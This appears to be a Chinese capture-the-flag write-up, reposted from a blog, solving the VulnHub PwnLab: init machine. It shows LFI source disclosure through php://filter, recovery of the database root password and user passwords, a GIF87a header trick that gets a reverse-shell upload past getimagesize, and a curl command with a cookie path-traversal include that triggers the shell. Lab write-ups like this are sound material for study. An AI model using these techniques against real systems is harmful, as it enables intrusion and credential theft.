代码审计篇_文件上传与文件包含漏洞&&PwnLab

目录

前言

环境来源

PHP封装器获取源码

login.php源码

upload源码

config.php源码

index.php源码

文件包含漏洞利用

登录页面

上传木马文件GIF

文件包含执行php反弹shell


前言

涉及知识点

  • 代码审计

  • PHP封装器

  • getimagesize文件头检测

  • 文件上传与文件包含漏洞结合使用

  • cookie配置注入

环境来源

vulnhub靶机PwnLab: init ~ VulnHub

在端口扫描中发现主机开放了http服务 和mysql服务

尝试扫描网站的目录

┌──(root���kali)-[~/pg/PwnLab]

└─# python3 /root/dirsearch/dirsearch.py -e* -u http://192.168.56.117 -t 30

|. _ _ _ _ _ _| v0.4.2

(||| _) (/(|| (| )

Extensions: php, jsp, asp, aspx, do, action, cgi, pl, html, htm, js, json, tar.gz, bak | HTTP method: GET | Threads: 30 | Wordlist size: 15492

Output File: /root/dirsearch/reports/192.168.151.29/_22-01-17_07-55-55.txt

Error Log: /root/dirsearch/logs/errors-22-01-17_07-55-55.log

Target: http://192.168.56.117/

[07:55:55] Starting:

[07:57:33] 200 - 0B - /config.php

[07:57:59] 200 - 943B - /images/

[07:57:59] 301 - 317B - /images -> http://192.168.56.117/images/

[07:58:02] 200 - 332B - /index.php/login/

[07:58:02] 200 - 332B - /index.php

[07:58:09] 200 - 250B - /login.php

[07:58:59] 301 - 317B - /upload -> http://192.168.56.117/upload/

[07:59:00] 200 - 19B - /upload.php

[07:59:00] 200 - 743B - /upload/

在目录扫描中发现

四个文件 config.php,index.php,upload.php,login.php

两个文件夹images和upload

PHP封装器获取源码

观察首页url的格式

http://192.168.56.117/?page=

大胆猜测这里这里包含了login.php

http://192.168.151.29/?page=upload

http://192.168.151.29/?page=index

http://192.168.151.29/?page=config

验证我们的猜想

页面返回无错误 大概率php文件执行 我们需要php伪协议读取源代码防止自动解析

php://filter/read=convert.base64-encode/resource=login

解base64编码 得出 源代码

login.php源码

<?php
session_start();
require("config.php");
$mysqli = new mysqli($server, $username, $password, $database);
​
if (isset($_POST['user']) and isset($_POST['pass']))
{
    $luser = $_POST['user'];
    $lpass = base64_encode($_POST['pass']);//对数据库的pass先进行解码处理
​
    $stmt = $mysqli->prepare("SELECT * FROM users WHERE user=? AND pass=?");
    $stmt->bind_param('ss', $luser, $lpass);
//预处理+参数绑定怕是没有sql注入了
    $stmt->execute();
    $stmt->store_Result();
​
    if ($stmt->num_rows == 1)
    {
        $_SESSION['user'] = $luser;
        header('Location: ?page=upload');//登录成功 跳转upload页面
    }
    else
    {
        echo "Login failed.";
    }
}
else
{
    ?>
    <form action="" method="POST">
    <label>Username: </label><input id="user" type="test" name="user"><br />
    <label>Password: </label><input id="pass" type="password" name="pass"><br />
    <input type="submit" name="submit" value="Login">
    </form>
    <?php
}

注意 $lpass = base64_encode($_POST['pass']);

代码对用户传入的参数pass 进行base64编码处理 ,随后比对数据库。说明了数据库存入的pass就是编码后的字符。

http://192.168.151.29/?page=php://filter/convert.base64-encode/resource=upload

upload源码

<?php
session_start();
if (!isset($_SESSION['user'])) { die('You must be log in.'); }
?>
<html>
   <body>
       <form action='' method='post' enctype='multipart/form-data'>
           <input type='file' name='file' id='file' />
           <input type='submit' name='submit' value='Upload'/>
       </form>
   </body>
</html>
<?php
if(isset($_POST['submit'])) {
   if ($_FILES['file']['error'] <= 0) {
       $filename  = $_FILES['file']['name'];
       $filetype  = $_FILES['file']['type'];//获取上传文件的MIME类型,例如"image/jpeg"或"application/pdf"等
       $uploaddir = 'upload/'; //上传目录名
       $file_ext  = strrchr($filename, '.');//最后一个'.'字符及其后面的所有字符,即文件扩展名
       $imageinfo = getimagesize($_FILES['file']['tmp_name']);
//getimagesize()函数,该函数返回一个数组,其中包含上传图片的宽度、高度和类型等信息。在这里,$_FILES['file']['tmp_name']是上传文件的临时文件名,getimagesize()函数将读取该文件并返回其信息
       $whitelist = array(".jpg",".jpeg",".gif",".png"); //预使用白名单
       if (!(in_array($file_ext, $whitelist))) {//对比白名单  不可上传脚本文件
           die('Not allowed extension, please upload images only.');
       }

       if(strpos($filetype,'image') === false) {//上传MIME类型 是否包含image 没有die
           die('Error 001');
       }

       if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg' && $imageinfo['mime'] != 'image/jpg'&& $imageinfo['mime'] != 'image/png') {
           die('Error 002');
       }//再次检查mimetype 不符合白名单gif jpeg jpg png  将die

       if(substr_count($filetype, '/')>1){
           die('Error 003');//斜杠字符的数量大于1  错误
       }

       $uploadfile = $uploaddir . md5(basename($_FILES['file']['name'])).$file_ext;
//重命名文件名
       if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)) {
           echo "<img src=\"".$uploadfile."\"><br />";
       } else {
           die('Error 4');
       }
   }
}

?>

http://192.168.151.29/?page=php://filter/convert.base64-encode/resource=config

config.php源码

<?php
$server   = "localhost";
$username = "root";
$password = "H4u%QJ_H99";
$database = "Users";
?>

获取MySQL的登录密码 登录数据库 查看登录密码

http://192.168.151.29/?page=php://filter/convert.base64-encode/resource=index

index.php源码

查看index.php 研究下文件包含是怎样产生的

<?php
//Multilingual. Not implemented yet.
//setcookie("lang","en.lang.php");
if (isset($_COOKIE['lang']))
{
    include("lang/".$_COOKIE['lang']);
}
// Not implemented yet.
?>
<html>
<head>
<title>PwnLab Intranet Image Hosting</title>
</head>
<body>
<center>
<img src="images/pwnlab.png"><br />
[ <a href="/">Home</a> ] [ <a href="?page=login">Login</a> ] [ <a href="?page=upload">Upload</a> ]
<hr/><br/>
<?php
    if (isset($_GET['page']))
    {
        include($_GET['page'].".php");//文件产生的原因 自动在末尾加php
有没有办法不加php??
    }
    else
    {
        echo "Use this server to upload and share image files inside the intranet";
    }
?>
</center>
</body>
</html>

留意这段代码

if (isset($_COOKIE['lang']))
{
    include("lang/".$_COOKIE['lang']);
}

这段PHP代码块,用于检查是否设置了名为'lang'的cookie,并根据cookie的值包含相应的语言文件。具体来说,它使用了PHP的isset()函数来检查$COOKIE数组中是否存在'lang'键。如果存在,则代码块将使用include()函数包含一个名为$COOKIE['lang']的文件,该文件应该在'lang/'目录下。这个文件可能包含与所选语言相关的常量、变量、函数或类等内容。

文件包含漏洞利用

登录页面

在端口扫描中 我们发现了主机开放了3306端口,对应的指纹消息也是mysql。这也意味着我们可以远程登录mysql

再config.php中我们获取了MySQL的登录密码 ,现在登录数据库 查看页面登录密码。

mysql -h 192.168.137.241 -uroot -p

(输入密码:H4u%QJ_H99)

show databases;//查询当前库

use Users;//进入Users库

show tables;//显示所有表

select * from Users.users;//查询Users库下users表

得到消息

MySQL [Users]> select * from Users.users;

+------+------------------+

| user | pass |

+------+------------------+

| kent | Sld6WHVCSkpOeQ== |

| mike | U0lmZHNURW42SQ== |

| kane | aVN2NVltMkdSbw== |

+------+------------------+

不过 这里pass内容并不是真正的密码,还记得login.php源码怎样处理pass字段吗?它先做了base64_encode,之后在于数据库比对。

这就是意味着我们要对Sld6WHVCSkpOeQ== 做base64_decode 之后才是真正的密码

echo -n Sld6WHVCSkpOeQ== | base64 -d

 

使用账号kent 密码JWzXuBJJNy 登录页面

 

上传木马文件GIF

上传一个后缀名为jpg文件,内含反弹shell

我在上传jpg木马文件,失败了。页面返回Error 002

应该是这段代码 $imageinfo['mime'] 没有检测通过

...
$imageinfo = getimagesize($_FILES['file']['tmp_name']);
...
​
if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg' && $imageinfo['mime'] != 'image/jpg'&& $imageinfo['mime'] != 'image/png') {
            die('Error 002');
        }

我可能没有真正地理解到getimagesize 的本质 也许它提取的信息不是从http发送头上来的 而是是从文件本身提取信息。查询一下官方手册

PHP: getimagesize - Manual

我打算在本地测试一下 看看getimagesize 到底返回什么类型数据。要怎样构造木马图片才绕过imageinfo

<?php
$imageinfo = getimagesize("shell.jpg");
var_dump($imageinfo);
?>

先测试一下正常的jpg文件

可以看到int(3)就是对应键mime其值就是image/jpeg

接下来就对jpg各种改造了,目的就是要把php代码嵌套进入。但都失败了!一些getimagesize失败

 

一些可以上传成功了,但是后面文件包含 反弹shell没有执行。

通过测试我发现GIf加上头文件 可以绕过getimagesize,具体步骤如下

找到反弹shell 后缀命名.gif

第一行的位置加上GIF87a

这样在测试getimagesize 可能正常显示mime:image/gif

这样就可以正常上传木马文件了。

文件包含执行php反弹shell

找到文件上传后的路径名(查看源代码)

改变cookie 发送请求 监听端口 等待反弹shell

┌──(root���kali)-[~/pg/PwnLab]

└─# curl -v --cookie "lang=../upload/f3035846cc279a1aff73b7c2c25367b9.gif" http://192.168.137.151/index.php

 

 成功拿到主机shell

猜你喜欢

转载自blog.csdn.net/shelter1234567/article/details/131265827
今日推荐